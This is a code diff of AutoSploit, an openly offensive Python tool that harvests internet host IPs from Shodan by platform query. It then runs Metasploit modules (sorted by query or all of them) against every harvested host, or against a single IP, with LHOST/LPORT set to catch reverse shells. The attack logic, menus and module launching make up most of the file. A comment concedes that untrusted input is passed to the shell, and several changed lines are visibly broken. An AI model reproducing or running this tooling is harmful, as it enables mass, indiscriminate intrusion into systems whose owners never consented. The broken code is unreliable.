os.system("clear") - logo() +def exploit(query=None, single=None): + """Exploit component""" - sorted_modules = [] - all_modules = [] + global workspace + global local_port + global local_host + global modules_path + print("\033[H\033[J") # Clear terminal - print "[" + t.green("+") + "]Sorting modules relevant to the specified platform." - print "[" + t.green("+") + "]This may take a while...\n\n\n" + logo() + + sorted_modules = [] + all_modules = [] - # Progress bar - sys.stdout.write("[%s]" % (" " * toolbar_width)) - sys.stdout.flush() - sys.stdout.write("\b" * (toolbar_width+1)) + if query == None: + rhosts = single - with open( "modules.txt", "rb" ) as infile: - for i in xrange(toolbar_width): - time.sleep(0.1) - for lines in infile: - all_modules.append(lines) - if query in lines: - sorted_modules.append(lines) + print("\n[{}]Single target mode. All available modules will be run against provided RHOST.".format(t.green("+"))) + proceed = raw_input("[" + t.magenta("?") + "]Continue? [Y]es/[N]o: ").lower() - # update the bar - sys.stdout.write('\033[94m' + "|" + '\033[0m') - sys.stdout.flush() + if proceed == 'y': + print("\n\n\n[{}]Loading modules...".format(t.green("+"))) + # Progress bar + sys.stdout.write("[%s]" % (" " * toolbar_width)) + sys.stdout.flush() + sys.stdout.write("\b" * (toolbar_width + 1)) + with open(modules_path, "rb") as infile: + for i in xrange(toolbar_width): + time.sleep(0.1) + for lines in infile: + all_modules.append(lines) - print "\n\n\n[" + t.green("+") + "]AutoSploit sorted the following MSF modules based search query relevance.\n" + print("\n\n\n[{}]Done. Launching exploits.".format(t.green("+"))) + template = "sudo msfconsole -x 'workspace -a %s; setg LHOST %s; setg LPORT %s; setg VERBOSE true; setg THREADS 100; set RHOSTS %s; %s'" % (workspace, local_host, local_port, rhosts, exploit) + cmdline(template) + + elif proceed == 'n': + print("[{}]Aborted. Returning to Main Menu".format(t.red("!"))) + + else: + print("[{}]Unhandled Option. Defaulting to Main Menu".format(t.red("!"))) + + else: + print("[{}]Sorting modules relevant to the specified platform.".format(t.green("+"))) + print("[{}]This may take a while...\n\n\n".format(t.green("+"))) + + # Progress bar + sys.stdout.write("[%s]" % (" " * toolbar_width)) + sys.stdout.flush() + sys.stdout.write("\b" * (toolbar_width + 1)) + + with open(modules_path, "rb") as infile: + for i in xrange(toolbar_width): + time.sleep(0.1) + for lines in infile: + all_modules.append(lines) + if query in lines: + sorted_modules.append(lines) + + # update the bar + sys.stdout.write('\033[94m' + "|" + '\033[0m') + sys.stdout.flush() + + print("\n\n\n[{}]AutoSploit sorted the following MSF modules based search query relevance.\n".format(t.green("+"))) # Print out the sorted modules for line in sorted_modules: - print "[" + t.cyan("-") + "]" + line + print("[{}] {}".format(t.cyan("-"), line)) - # We'll give the user the option to run all modules in a 'hail mary' type of attack or allow + # We'll give the user the option to run all modules in a 'hail mary' type of attack or allow # a more directed approach with the sorted modules. choice = raw_input("\n[" + t.magenta("?") + "]Run sorted or all modules against targets? [S]orted/[A]ll: ").lower() if choice == 's': - with open( "hosts.txt", "rb" ) as host_list: - for rhosts in host_list: - for exploit in sorted_modules: - template = "sudo msfconsole -x 'workspace -a %s; setg LHOST %s; setg LPORT %s; setg VERBOSE true; setg THREADS 100; set RHOSTS %s; %s'" % (workspace, local_host, local_port, rhosts, exploit) - os.system(template) - elif choice == 'a': - with open( "hosts.txt", "rb" ) as host_list: - for rhosts in host_list: - for exploit in all_modules: - template = "sudo msfconsole -x 'workspace -a %s; setg LHOST %s; setg LPORT %s; setg VERBOSE true; setg THREADS 100; set RHOSTS %s; %s'" % (workspace, local_host, local_port, rhosts, exploit) - os.system(template) - else: - print "[" + t.red("!") + "]Unhandled Option. Defaulting to Main Menu" - - -# Function to gather target hosts from Shodan + with open("hosts.txt", "rb") as host_list: + for rhosts in host_list: + for exploit in sorted_modules: + # WARNING: POTENTIAL SECURITY RISK - UNTRUSTED INPUT TO SHELL: (Fix by V1.5) + template = "sudo msfconsole -x 'workspace -a %s; setg LHOST %s; setg LPORT %s; setg VERBOSE true; setg THREADS 100; set RHOSTS %s; %s'" % (workspace, local_host, local_port, rhosts, exploit) + cmdline(template) + elif choice == 'a': + with open("hosts.txt", "rb") as host_list: + for rhosts in host_list: + for exploit in all_modules: + # WARNING: POTENTIAL SECURITY RISK - UNTRUSTED INPUT TO SHELL: (Fix by V1.5) + template = "sudo msfconsole -x 'workspace -a %s; setg LHOST %s; setg LPORT %s; setg VERBOSE true; setg THREADS 100; set RHOSTS %s; %s'" % (workspace, local_host, local_port, rhosts, exploit) + cmdline(template) + else: + print("[{}]Unhandled Option. Defaulting to Main Menu".format(t.red("!"))) + + +def settings(single=None): + """Function to define Metasploit settings.""" + global workspace + global local_port + global local_host + global configured + + print("\033[H\033[J") # Clear terminal + logo() + + print("[{}]MSF Settings\n".format(t.green("+"))) + print("In order to proceed with the exploit module some MSF") + print("settings need to be configured.") + time.sleep(1.5) + + print("\n[{}]Note.\n".format(t.green("+"))) + print("Please make sure your Network is configured properly.\n") + print("In order to handle incoming Reverse Connections") + print("your external Facing IP & Port need to be reachable...") + time.sleep(1.5) + + workspace = raw_input("\n[" + t.magenta("?") + "]Please set the Workspace name: ") + if not workspace == "": + print("[{}]Workspace set to: {}".format(t.green("+"), workspace)) + else: + workspace = False + + local_host = raw_input("\n[" + t.magenta("?") + "]Please set the local host: ") + if not local_host == "": + print("[{}]Local host set to: {}".format(t.green("+"), repr(local_host))) + else: + local_host = False + + local_port = raw_input("\n[" + t.magenta("?") + "]Please set the local port: ") + if not local_host == "": + print("[{}]Local port set to: {}".format(t.green("+"), repr(local_port))) + else: + local_port = False + + # Check if settings are not null + if workspace is False or local_host is False or local_port is False: + configured = None + print("\n[{}]Warning. LPORT, LHOST and/or workspace cannot be null".format(t.red("!"))) + print("[{}]Restarting MSF Settings module.".format(t.green("+"))) + time.sleep(2) + else: + # If everything has been properly configured we're setting config var to true + # When we return to the main menu loop we will use it to check to see if we + # can skip the config stage. When the exploit component is run a second time + configured = True + + if single is not None: + exploit(None, single) + # TEST print + print "value of 'single' is" +repr(single) + # TEST print + + if not os.path.isfile("hosts.txt"): + print("[{}]Warning. AutoSploit failed to detect host file.".format(t.red("!"))) + print("In order for the exploit module to work, a host file needs to be present.") + else: + # Call exploit function, the 'query' argument contains the search strig provided + # in the 'gather hosts' function. We will check this string against the MSF + # modules in order to sort out the most relevant ones with regards to the intended + # targets. + exploit(query) + def targets(clobber=True, hostLimit = -1): - global query + """Function to gather target host(s) from Shodan.""" + global query - os.system("clear") - logo() + print("\033[H\033[J") # Clear terminal + logo() - print "[" + t.green("+") + "]Please provide your platform specific search query." - print "[" + t.green("+") + "]I.E. 'IIS' will return a list of IPs belonging to IIS servers." + print("[{}]Please provide your platform specific search query.".format(t.green("+"))) + print("[{}]I.E. 'IIS' will return a list of IPs belonging to IIS servers.".format(t.green("+"))) + + # /TODO: + while True: + query = raw_input("\n<" + t.cyan("PLATFORM") + ">$ ") + + if query == "": + print("[{}]Query cannot be null.".format(t.red("!"))) + + break + + + print("[{}]Please stand by while results are being collected...\n\n\n".format(t.green("+"))) + time.sleep(1) + + try: + result = api.search(query) + except Exception as e: + print("\n[{}]Critical. An error was raised with the following error message.\n".format(t.red("!"))) + sys.exit(e) + + # Setup progress bar + sys.stdout.write("[%s]" % (" " * toolbar_width)) + sys.stdout.flush() + sys.stdout.write("\b" * (toolbar_width + 1)) + + # TODO:/ + if clobber: + with open('hosts.txt', 'wb') as log: + for i in xrange(toolbar_width): + time.sleep(0.1) + for service in result['matches']: + if hostLimit > 0 or hostLimit < 0: + log.write(service['ip_str']) + log.write("\n") + hostLimit -= 1 + else: + break + # update the bar + sys.stdout.write('\033[94m' + "|" + '\033[0m') + sys.stdout.flush() + + hostpath = os.path.abspath("hosts.txt") + + print("\n\n\n[{}]Done.".format(t.green("+"))) + print("[{}]Host list saved to {}".format(t.green("+"), hostpath)) + + # TODO:/ + else: + with open("hosts.txt", "ab") as log: + for i in xrange(toolbar_width): + time.sleep(0.1) + for service in result['matches']: + log.write(service['ip_str']) + log.write("\n") - while True: - query = raw_input("\n<" + t.cyan("PLATFORM") + ">$ ") + # update the bar + sys.stdout.write('\033[94m' + "|" + '\033[0m') + sys.stdout.flush() - if query == "": - print "[" + t.red("!") + "]Query cannot be null." - else: - break + hostpath = os.path.abspath("hosts.txt") - print "[" + t.green("+") + "]Please stand by while results are being collected...\n\n\n" - time.sleep(1) + print("\n\n\n[{}]Done.".format(t.green("+"))) + print("[{}]Hosts appended to list at ".format(t.green("+"), hostpath)) - try: - result = api.search(query) - except Exception as e: - print "\n[" + t.red("!") + "]Critical. An error was raised with the following error message.\n" - print e - sys.exit(0) - # Setup progress bar - sys.stdout.write("[%s]" % (" " * toolbar_width)) - sys.stdout.flush() - sys.stdout.write("\b" * (toolbar_width+1)) - - if clobber == True: - with open('hosts.txt', 'wb') as log: - for i in xrange(toolbar_width): - time.sleep(0.1) - for service in result['matches']: - if hostLimit > 0 or hostLimit < 0: - log.write(service['ip_str']) - log.write("\n") - hostLimit -= 1 - else: - break - - # update the bar - sys.stdout.write('\033[94m' + "|" + '\033[0m') - sys.stdout.flush() - - hostpath = os.path.abspath("hosts.txt") - - print "\n\n\n[" + t.green("+") + "]Done." - print "[" + t.green("+") + "]Host list saved to " + hostpath - - else: - with open( "hosts.txt", "ab" ) as log: - for i in xrange(toolbar_width): - time.sleep(0.1) - for service in result['matches']: - log.write(service['ip_str']) - log.write("\n") +# TODO:/ +def import_custom(clobber=True): + """ + Function to import custom host list. + """ + print("\033[H\033[J") # Clear terminal + logo() + + custom_list = [] + + print("[{}]Please provide a path to your custom host list.".format(t.green("+"))) + file_path = raw_input("\n[" + t.magenta("?") + "]Path to list: " + + try: + with open(file_path, "rb") as infile: + for line in infile: + line.append(custom_list) + + except IOError as e: + print("\n[{}]Critical. An IO error was raised.".format(t.red("!"))) + print("Please make sure to enter a valid path.") + + if clobber: + print("[{}]Writing data to 'hosts.txt'...".format(t.green("+"))) + with open('hosts.txt', 'wb') as outfile: + for rhosts in custom_list: + outfile.write(rhosts) + outfile.write("\n") + + hostpath = os.path.abspath("hosts.txt") + + print("\n\n\n[{}]Done.".format(t.green("+"))) + print("[{}]Host list saved to {}".format(t.green("+"), hostpath)) + + else: + print("[{}]Appending data to 'hosts.txt'...".format(t.green("+"))) + + with open( "hosts.txt", 'ab') as outfile: + for rhosts in custom_list: + outfile.write(rhosts) + outfile.write("\n") + + hostpath = os.path.abspath("hosts.txt") + + print("\n\n\n[{}]Done.".format(t.green("+"))) + print("[{}]Host list saved to {}".format(t.green("+"), hostpath)) + + +def single_target(): + # TODO:/ + """ + Add single target to host list or pass it to the exploit function directly + to attempt to exploit it. + """ + print("\033[H\033[J") # Clear terminal + logo() + + print("[{}]Please provide a single IPv4.".format(t.green("+"))) + IP = raw_input("[" + t.magenta("?") + "]IPv4 Address: ") + + quartet1 = int(IP[0:IP.index('.')]) + IP = IP[IP.index('.')+1:] + quartet2 = int(IP[0:IP.index('.')]) + IP = IP[IP.index('.')+1:] + quartet3 = int(IP[0:IP.index('.')]) + IP = IP[IP.index('.')+1:] + quartet4 = int(IP) + + IP = str(quartet1) + "." + str(quartet2) + "." + str(quartet3) + "." + str(quartet4) + + if quartet1 < 0 or quartet1 > 255: + print("[{}]Critical. Invalid IPv4 address.".format(t.red("!"))) + elif quartet2 < 0 or quartet2 > 255: + print("[{}]Critical. Invalid IPv4 address.".format(t.red("!"))) + elif quartet3 < 0 or quartet3 > 255: + print("[{}]Critical. Invalid IPv4 address.".format(t.red("!"))) + elif quartet4 < 0 or quartet4 > 255: + print("[{}]Critical. Invalid IPv4 address.".format(t.red("!"))) + elif IP == "127.0.0.1": + print("[{}]Critical. Invalid IPv4 address.".format(t.red("!"))) + else: + print("\n[{}]Host set to {}".format(t.green("+"), repr(hostpath))) + time.sleep(1) + + print("\n\n[{}]Append the IP to the host file or pass to exploit module directly?.".format(t.green("+"))) + choice = raw_input("\n[" + t.magenta("?") + "]Append or Pass for immediate exploitation? [A/P]: ").lower() + + if choice == 'a': + with open( "hosts.txt", "ab") as outfile: + outfile.write(IP) + + hostpath = os.path.abspath("hosts.txt") + print("[{}]Host added to {}".format(t.green("+"), hostpath)) + + elif choice == 'p': + if configured: + exploit(None, IP) + else: + settings(IP) + + else: + print("\n[{}]Unhandled Option.".format(t.red("!"))) - # update the bar - sys.stdout.write('\033[94m' + "|" + '\033[0m') - sys.stdout.flush() - hostpath = os.path.abspath("hosts.txt") - - print "\n\n\n[" + t.green("+") + "]Done." - print "[" + t.green("+") + "]Hosts appended to list at " + hostpath - - - -# Function to define metasploit settings -def settings(): - global workspace - global local_port - global local_host - global configured - - os.system("clear") - logo() - - print "[" + t.green("+") + "]MSF Settings\n" - print "In order to proceed with the exploit module some MSF" - print "settings need to be configured." - time.sleep(1.5) - - print "\n[" + t.green("+") + "]Note.\n" - print "Please make sure your Network is configured properly.\n" - print "In order to handle incoming Reverse Connections" - print "your external Facing IP & Port need to be reachable..." - time.sleep(1.5) - - - workspace = raw_input("\n[" + t.magenta("?") + "]Please set the Workspace name: ") - if not workspace == "": - print "[" + t.green("+") + "]Workspace set to: " + workspace - else: - workspace = False - - local_host = raw_input("\n[" + t.magenta("?") + "]Please set the local host: ") - if not local_host == "": - print "[" + t.green("+") + "]Local host set to: " + repr(local_host) - else: - local_host = False - - local_port = raw_input("\n[" + t.magenta("?") + "]Please set the local port: ") - if not local_host == "": - print "[" + t.green("+") + "]Local port set to: " + repr(local_port) - else: - local_port = False - - # Check if settings are not null - if workspace == False or local_host == False or local_port == False: - configured = None - print "\n[" + t.red("!") + "]Warning. LPORT, LHOST and/or workspace cannot be null" - print "[" + t.green("+") + "]Restarting MSF Settings module." - time.sleep(1.5) - else: - # If everything has been properly configured we're setting config var to true - # When we return to the main menu loop we will use it to check to see if we - # can skip the config stage. When the exploit component is run a second time - configured = True - - if not os.path.isfile("hosts.txt"): - print "[" + t.red("!") + "]Warning. AutoSploit failed to detect host file." - print "In order for the exploit module to work, a host file needs to be" - print "present." - else: - # Call exploit function, the 'query' argument contains the search strig provided - # in the 'gather hosts' function. We will check this string against the MSF - # modules in order to sort out the most relevant ones with regards to the intended - # targets. - exploit(query) - -# Main menu def main(): - global query - global configured - global api - - try: - api = shodan.Shodan(SHODAN_API_KEY) - except Exception as e: - print "\n[" + t.red("!") + "]Critical. API setup failed.\n" - print e - sys.exit(0) - - - try: - while True: - # Make sure a misconfiguration in the MSF settings - # Doesn't execute main menu loop but returns us to the - # appropriate function for handling those settings - if configured == None: - settings() - - print "\n[" + t.green("+") + "]Welcome to AutoSploit. Please select an action." - print """ - -1. Usage 3. View Hosts 5. Quit -2. Gather Hosts 4. Exploit - """ - - action = raw_input("\n<" + t.cyan("AUTOSPLOIT") + ">$ ") - - if action == '1': - usage() - - elif action == '2': - hostLimit = -1; - limitYN = raw_input("\n[" + t.magenta("?") + "]Limit number of hosts? [y/n]: ").lower() - if limitYN == 'y': - hostLimit = input("\n[" + t.magenta("?") + "]How many?: ") - - if not os.path.isfile("hosts.txt"): - targets(True, hostLimit) - else: - append = raw_input("\n[" + t.magenta("?") + "]Append hosts to file or overwrite? [a/o]: ").lower() - - if append == 'a': - targets(False, hostLimit) - elif append == 'o': - targets(True, hostLimit) - else: - print "\n[" + t.red("!") + "]Unhandled Option." - - elif action == '3': - if not os.path.isfile("hosts.txt"): - print "\n[" + t.red("!") + "]Warning. AutoSploit failed to detect host file." - - else: - print "[" + t.green("+") + "]Printing hosts...\n\n" - time.sleep(2) - counter = 0 - with open( "hosts.txt", "rb" ) as infile: - for line in infile: - print "[" + t.cyan("-") + "]" + line - counter += 1 - print "\n[" + t.cyan("-") + "]" + str(counter) + " hosts\n" - print "[" + t.green("+") + "]Done.\n" - - elif action == '4': - if not os.path.isfile("hosts.txt"): - print "\n[" + t.red("!") + "]Warning. AutoSploit failed to detect host file." - print "Please make sure to gather a list of targets" - print "by selecting the 'Gather Hosts' option" - print "before executing the 'Exploit' module." - - if configured == True: - exploit(query) - elif configured == False: - settings() - - elif action == '5': - print "\n[" + t.red("!") + "]Exiting AutoSploit..." - break - - else: - print "\n[" + t.red("!") + "]Unhandled Option." - - except KeyboardInterrupt: - print "\n[" + t.red("!") + "]Critical. User aborted." - sys.exit(0) - - -if __name__=="__main__": - logo() - - print "[" + t.green("+") + "]Initializing AutoSploit..." - print "[" + t.green("+") + "]One moment please while we check the Postgresql and Apache services...\n" - - postgresql = cmdline("sudo service postgresql status | grep active") - if "Active: inactive" in postgresql: - print "\n[" + t.red("!") + "]Warning. Heuristics indicate Postgresql Service is offline" - - start_pst = raw_input("\n[" + t.magenta("?") + "]Start Postgresql Service? [Y]es/[N]o: ").lower() - if start_pst == 'y': - os.system("sudo service postgresql start") - - print "[" + t.green("+") + "]Postgresql Service Started..." - time.sleep(1.5) - - elif start_pst == 'n': - print "\n[" + t.red("!") + "]AutoSploit's MSF related operations require this service to be active." - print "[" + t.red("!") + "]Aborted." - time.sleep(1.5) - sys.exit(0) - else: - print "\n[" + t.red("!") + "]Unhandled Option. Defaulting to starting the service." - os.system("sudo service postgresql start") - - print "[" + t.green("+") + "]Postgresql Service Started..." - time.sleep(1.5) - - apache = cmdline("service apache2 status | grep active") - if "Active: inactive" in apache: - print "\n[" + t.red("!") + "]Warning. Heuristics indicate Apache Service is offline" - - start_ap = raw_input("\n[" + t.magenta("?") + "]Start Apache Service? [Y]es/[N]o: ").lower() - if start_ap == 'y': - os.system("sudo service apache2 start") - - print "[" + t.green("+") + "]Apache2 Service Started..." - time.sleep(1.5) - - elif start_ap == 'n': - print "\n[" + t.red("!") + "]AutoSploit's MSF related operations require this service to be active." - print "[" + t.red("!") + "]Aborted." - time.sleep(1.5) - sys.exit(0) - else: - print "\n[" + t.red("!") + "]Unhandled Option. Defaulting to starting the service." - os.system("sudo service apache2 start") - - print "[" + t.green("+") + "]Apache2 Service Started..." - time.sleep(1.5) - - # We will check if the shodan api key has been saved before, if not we are going to prompt - # for it and save it to a file - if not os.path.isfile("api.p"): - print "\n[" + t.green("+") + "]Please provide your Shodan.io API key." - - SHODAN_API_KEY = raw_input("API key: ") - pickle.dump(SHODAN_API_KEY, open( "api.p", "wb" )) - - path = os.path.abspath("api.p") - print "[" + t.green("+") + "]\nYour API key has been saved to " + path - - main() - else: - try: - SHODAN_API_KEY = pickle.load(open( "api.p", "rb" )) - except IOError as e: - print "\n[" + t.red("!") + "]Critical. An IO error was raised while attempting to read API data." - print e - - path = os.path.abspath("api.p") - print "\n[" + t.green("+") + "]Your API key was loaded from " + path - - main() + """Main menu.""" + global query + global configured + global api + global autosploit_opts + + # TODO:/ + @retry(stop_max_attempt_number=3) + def try_shodan(): + try: + api = shodan.Shodan(SHODAN_API_KEY) + except Exception as e: + print("\n[{}]Critical. API setup failed: {}\n".format(t.red("!"), e)) + # sys.exit(e) + return api + + api = try_shodan() + try: + while True: + # Make sure a misconfiguration in the MSF settings + # Doesn't execute main menu loop but returns us to the + # appropriate function for handling those settings + if configured is None: + settings() + + print("\n[{}]Welcome to AutoSploit. Please select an action.".format(t.green("+"))) + for i in autosploit_opts.keys(): + print("{}. {}".format(i, autosploit_opts[i].title())) + + action = raw_input("\n<" + t.cyan("AUTOSPLOIT") + ">$ ") + + if action == '1': + usage() + + elif action == '2': + hostLimit = -1 + limitYN = raw_input("\n[" + t.magenta("?") + "]Limit number of hosts? [y/n]: ").lower() + if limitYN == 'y': + hostLimit = input("\n[" + t.magenta("?") + "]How many?: ") + if not os.path.isfile("hosts.txt"): + targets(True, hostLimit) + else: + append = raw_input("\n[" + t.magenta("?") + "]Append hosts to file or overwrite? [A/O]: ").lower() + + if append == 'a': + targets(False, hostLimit) + elif append == 'o': + targets(True, hostLimit) + else: + print("\n[{}]Unhandled Option.".format(t.red("!"))) + + elif action == '3': + if not os.path.isfile("hosts.txt"): + import_custom(True) + else: + append = raw_input("\n[" + t.magenta("?") + "]Append hosts to file or overwrite? [A/O]: ").lower() + + if append == 'a': + import_custom(False) + elif append == 'o': + import_custom(True) + else: + print("\n[{}]Unhandled Option.".format(t.red("!"))) + + elif action == '4': + single_target() + + elif action == '5': + if not os.path.isfile("hosts.txt"): + print("\n[{}]Warning. AutoSploit failed to detect host file.".format(t.red("!"))) + + else: + print("[{}]Printing hosts...\n\n".format(t.green("+"))) + time.sleep(2) + + with open("hosts.txt", "rb") as infile: + for line in infile: + print("[{}]{}".format(t.cyan("-"), line)) + + print("\n[{}]Done.".format(t.green("+"))) + + + elif action == '6': + if not os.path.isfile("hosts.txt"): + print("\n[{}]Warning. AutoSploit failed to detect host file.".format(t.red("!"))) + print("Please make sure to gather a list of targets") + print("by selecting the 'Gather Hosts' option") + print("before executing the 'Exploit' module.") + + if configured: + exploit(query) + elif configured is False: + settings() + + elif action == '7': + print("\n[{}]Exiting AutoSploit...".format(t.red("!"))) + break + + else: + print("\n[{}]Unhandled Option.".format(t.red("!"))) + + except KeyboardInterrupt: + print("\n[{}]Critical. User aborted.".format(t.red("!"))) + sys.exit(0) + + +if __name__ == "__main__": + logo() + + print("[{}]Initializing AutoSploit...".format(t.green("+"))) + print("[{}]One moment please while we check the Postgresql and Apache services...\n".format(t.green("+"))) + + postgresql = cmdline("sudo service postgresql status | grep active") + if "Active: inactive" in postgresql: + print("\n[{}]Warning. Hueristics indicate Postgresql Service is offline".format(t.red("!"))) + + start_pst = raw_input("\n[" + t.magenta("?") + "]Start Postgresql Service? [Y]es/[N]o: ").lower() + if start_pst == 'y': + os.system("sudo service postgresql start") + print("[{}]Postgresql Service Started...".format(t.green("+"))) + time.sleep(1.5) + + elif start_pst == 'n': + print("\n[{}]AutoSploit's MSF related operations require this service to be active.".format(t.red("!"))) + print("[{}]Aborted.".format(t.red("!"))) + time.sleep(1.5) + sys.exit(0) + else: + print("\n[{}]Unhandled Option. Defaulting to starting the service.".format(t.red("!"))) + os.system("sudo service postgresql start") + + print("[{}]Postgresql Service Started...".format(t.green("+"))) + time.sleep(1.5) + + apache = cmdline("service apache2 status | grep active") + if "Active: inactive" in apache: + print("\n[{}]Warning. Hueristics indicate Apache Service is offline".format(t.red("!"))) + + start_ap = raw_input("\n[" + t.magenta("?") + "]Start Apache Service? [Y]es/[N]o: ").lower() + if start_ap == 'y': + os.system("sudo service apache2 start") + + print("[{}]Apache2 Service Started...".format(t.green("+"))) + time.sleep(1.5) + + elif start_ap == 'n': + print("\n[{}]AutoSploit's MSF related operations require this service to be active.".format(t.red("!"))) + print("[{}]Aborted.".format(t.red("!"))) + time.sleep(1.5) + sys.exit(0) + else: + print("\n[{}]Unhandled Option. Defaulting to starting the service.".format(t.red("!"))) + os.system("sudo service apache2 start") + # TODO: Should really add another check here to make sure it started. + + print("[{}]Apache2 Service Started...".format(t.green("+"))) + time.sleep(1.5) + + # We will check if the shodan api key has been saved before, if not we are going to prompt + # for it and save it to a file + if not os.path.isfile("api.p"): + print("\n[{}]Please provide your Shodan.io API key.".format(t.green("+"))) + + SHODAN_API_KEY = raw_input("API key: ") + pickle.dump(SHODAN_API_KEY, open("api.p", "wb")) + path = os.path.abspath("api.p") + print("[{}]\nYour API key has been saved to {}".format(t.green("+"), path)) + main() + + else: + try: + SHODAN_API_KEY = pickle.load(open("api.p", "rb")) + except IOError as e: + print("\n[{}]Critical. An IO error was raised while attempting to read API data.\n{}".format(t.red("!"), e)) + + path = os.path.abspath("api.p") + print("\n[{}]Your API key was loaded from {}".format(t.green("+"), path)) + + main()